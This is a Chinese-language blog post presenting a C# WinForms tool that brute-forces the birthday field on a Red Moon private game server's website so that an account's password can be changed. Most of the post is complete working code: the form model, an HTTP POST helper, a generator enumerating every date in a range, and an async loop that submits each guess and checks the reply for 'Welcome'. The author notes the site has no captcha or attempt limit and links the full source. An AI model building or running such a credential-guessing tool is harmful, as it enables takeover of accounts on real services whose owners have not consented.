这款游戏我已经很久没有玩了,但看了看我11年写的代码,再看看美服红月的网站 ,卧槽! 竟然还改版了,编译了一下程序,发现这些功能都莫名其妙的不能用了,网站地址换了,提交数据的接口变了,所以又更新了一版。
随着技术的更新,这个小工具也要跟着技术的一起强行升级一下,从net 2.0 升到4.5 。虽然样子有点挫,也懒得改了,但是这个核心功能就是 通过账号密码 暴力找生日,因为这款游戏比较古老估计只有80后才会记得,现在国内只有变态私服,相比较这个米国私服已经运营了长达9年,无外挂、全活人、全手动、GM对中国人很暴力。
改密码的方式,只有生日可以改,通过正确的用户名和密码和生日登录网站,才能改密码,虽然自己账号已经不记得了. 但是没关系,以前朋友给的号还都在。
原理很简单,就是枚举生日,提交请求到服务器,先看看表单和 请求地址和参数
表单有三个元素, 账号、密码、生日 ,用fiddler 查看
提交数据可以通过HttpWebRequest 和HttpWebResponse 来提交和接受返回信息,根据上面参数先来构造 提交数据的对象
[JsonObject(Newtonsoft.Json.MemberSerialization.OptIn)] public class CrackBirthdayModel { [JsonProperty] public string account { get; set; }//账号 [JsonProperty] public string password { get; set; }//密码 [JsonProperty] public int month { get; set; }//月份 [JsonProperty] public string day { get; set; }//日 [JsonProperty] public int year { get; set; }//年 [JsonProperty] public string submit { get { return "Submit"; } }//提交方式 [JsonIgnore] public DateTime CreckDate { get; set; } }
然后我们在构造我们需要提交的请求,通过构造表单对象数据,然后传入HttpHelper. PostAsync<T>(string url, T data, string refe) ,就可以完成模拟请求,尝试一次生日,由于网站没有任何验证码和次数限制,所以我们就可以疯狂的提交尝试。
using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; namespace RedMoonBirthRecovery { public class HttpHelper { /// <summary> /// post 提交非异步 /// </summary> /// <param name="url">登录的url</param> /// <param name="data">登录url的参数.可用http工具获取. </param> /// <param name="refe">登录后的网站地址.</param> /// <returns></returns> public static string Post<T>(string url, T data, string refe) { string result = string.Empty; try { string postData = BuildRequestBody(data); CookieContainer cc = new CookieContainer(); HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded"; request.CookieContainer = cc; request.ContentLength = postData.Length; request.Referer = refe; using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default)) { writer.Write(postData); writer.Flush(); } using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); result = reader.ReadToEnd(); } } catch (Exception ex) { throw ex; } return result; } /// <summary> /// Post 提交数据 /// </summary> /// <typeparam name="T">需要转换参数的类</typeparam> /// <param name="url">请求URL地址</param> /// <param name="data">要提交的数据</param> /// <param name="refe">Referer 前一个页面的地址</param> /// <returns></returns> public static Task<string> PostAsync<T>(string url, T data, string refe) { string result = string.Empty; return Task.Run<string>(() => { try { string postData = BuildRequestBody(data); CookieContainer cc = new CookieContainer(); HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded"; request.CookieContainer = cc; request.ContentLength = postData.Length; request.Referer = refe; using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default)) { writer.Write(postData); writer.Flush(); } using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); result = reader.ReadToEnd(); } } catch (Exception ex) { throw ex; } return result; }); } /// <summary> /// 通过将传入的对象转换为request 提交的参数 /// </summary> /// <typeparam name="T">对象类型</typeparam> /// <param name="t">传入的对象</param> /// <returns></returns> public static string BuildRequestBody<T>(T t) { string result = string.Empty; if (t != null) { string obj = JsonConvert.SerializeObject(t); Dictionary<string, string> dic = JsonConvert.DeserializeObject<Dictionary<string, string>>(obj); if (dic.Keys.Count > 0) { foreach (var key in dic.Keys) { result += key + "=" + dic[key] + "&"; } int lastAnd = result.LastIndexOf("&"); if (lastAnd > 0) { result = result.Substring(0, lastAnd); } } } return result; } } }
表单很简单,样貌如下
由于是winform的程序,所以不得不扯到UI 异步刷新的问题, 11年写的那一版是多线程的,但莫名其妙就不能运行了,也是日了狗了,所以强行把以前的多线程改成了 async异步 方式,但是问题就来了,多线程 可以暂停 和恢复,但是异步只是异步,不能暂停。于是就有了这样的具体思路 :1、根据日期范围构造所有请求对象,2、强对象加入需要异步提交的队列中,3、提交时 记录提交的位置顺序来实现暂停和重置(也可以使用序列化的方式保存队列的对象)
public class CrackTaskModel { /// <summary> /// 开始时间 /// </summary> public DateTime beginDate { get; set; } /// <summary> /// 结束时间 /// </summary> public DateTime endDate { get; set; } /// <summary> /// 所有要提交破解的生日 /// </summary> public List<CrackBirthdayModel> creakRequests { get; set; } /// <summary> /// 执行的顺序 /// </summary> public int currentIndex { get; set; } /// <summary> /// 标记当前是否继续运行 /// </summary> public bool state { get; set; } }
在UI上控制队列对象的state 标记来让循环中断实现暂停和继续
public partial class BithRecovery : Form { public BithRecovery() { InitializeComponent(); } /// <summary> /// 提交数据队列 /// </summary> public CrackTaskModel crackTask = null; /// <summary> /// 开始按钮 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void btnPost_Click(object sender, EventArgs e) { DateTime start = DateTime.Parse("1900/01/01"); DateTime end = DateTime.Parse("1900/01/01"); bool isok = DateTime.TryParse(dtpBeginDay.Text, out start) && DateTime.TryParse(dtpEndDay.Text, out end); if (isok && end >= start) { this.btnPost.Enabled = false; //生成破解日期 MakeBirth(dtpBeginDay.Text, dtpEndDay.Text); if (crackTask != null && crackTask.creakRequests.Count > 0) { await CrackLoop(); } } else { MessageBox.Show("截至日期需要大于起始日期"); } } /// <summary> /// 暂停和恢复 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void btnStop_Click(object sender, EventArgs e) { if (btnStop.Text == "暂停") { stopCrack(); btnStop.Text = "继续"; } else if (btnStop.Text == "继续") { if (crackTask != null && crackTask.creakRequests.Count > 0) { btnStop.Text = "暂停"; crackTask.state = false; await CrackLoop(); } } btnPost.Enabled = false; } /// <summary> /// 暂停队列 /// </summary> public void stopCrack() { if (crackTask != null && crackTask.creakRequests.Count > 0) { //暂停提交 crackTask.state = true; } } /// <summary> /// 重置队列 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnReset_Click(object sender, EventArgs e) { stopCrack(); crackTask = null; btnStop.Text = "暂停"; btnPost.Enabled = true; } /// <summary> /// 异步请求 /// </summary> /// <returns></returns> public async Task CrackLoop() { if (crackTask != null) { for (; crackTask.currentIndex < crackTask.creakRequests.Count; crackTask.currentIndex++) { ///如果状态变了,停止循环 if (crackTask.state) { break; } var task = crackTask.creakRequests[crackTask.currentIndex]; int shengyu = crackTask.creakRequests.Count - 1 - crackTask.currentIndex; lblStatus.Text = "当前" + task.CreckDate.ToString("yyyy-MM-dd") + "\t 已经尝试了" + (crackTask.currentIndex) + "次/还剩" + shengyu; bool isok = await CrackBirth(task); if (isok) { lblStatus.Text = "正确生日是:" + task.CreckDate.ToString("yyyy-MM-dd"); break; } if (shengyu == 0) { lblStatus.Text = "很遗憾没有为你找到账号的生日"; } } } } /// <summary> /// 生成生日密码字典 /// </summary> /// <param name="beginBirth">开始日期</param> /// <param name="endbirth">结束日期</param> /// <returns></returns> public void MakeBirth(string beginBirth, string endbirth) { DateTime bdate = new DateTime(); DateTime edate = new DateTime(); bool isConverted = DateTime.TryParse(beginBirth, out bdate) && DateTime.TryParse(endbirth, out edate); if (isConverted) { ///构造所有请求生日的数据 crackTask = new CrackTaskModel { beginDate = bdate, endDate = edate, currentIndex = 0, state = false }; crackTask.creakRequests = new List<CrackBirthdayModel>(); TimeSpan minusdays = edate - bdate; for (int i = 0; i <= minusdays.Days; i++) { var birth = bdate.AddDays(i); crackTask.creakRequests.Add(new CrackBirthdayModel { account = txtaccount.Text, password = txtPass.Text, month = birth.Month, day = birth.ToString("dd"), year = birth.Year, CreckDate = birth }); } } } /// <summary> /// 尝试猜解生日 /// </summary> /// <param name="crackBirth">生日请求对象</param> /// <returns></returns> public async Task<bool> CrackBirth(CrackBirthdayModel crackBirth) { bool ResponseResult = false; return await Task.Run<bool>(async () => { ///等待提交返回结果 string result = await HttpHelper.PostAsync<CrackBirthdayModel>(RedmoonUri.crackBirthday, crackBirth, RedmoonUri.crackBirthday); if (result.Contains("Login")) { ResponseResult = false; } else if (result.Contains("Welcome")) { ResponseResult = true; } result = string.Empty; return ResponseResult; }); } }
到此我们的破解之路看看效果吧
找到生日了就可以去改密码,咱也不用正在FV刷图 被基友踢下线,现在已经不玩这个游戏了,但是偶尔还是会想去怀念一下初中时代的那种感觉。
需要程序代码在github上下载: https://github.com/shan333chao/RedmoonClassicTool
晒一张游戏的图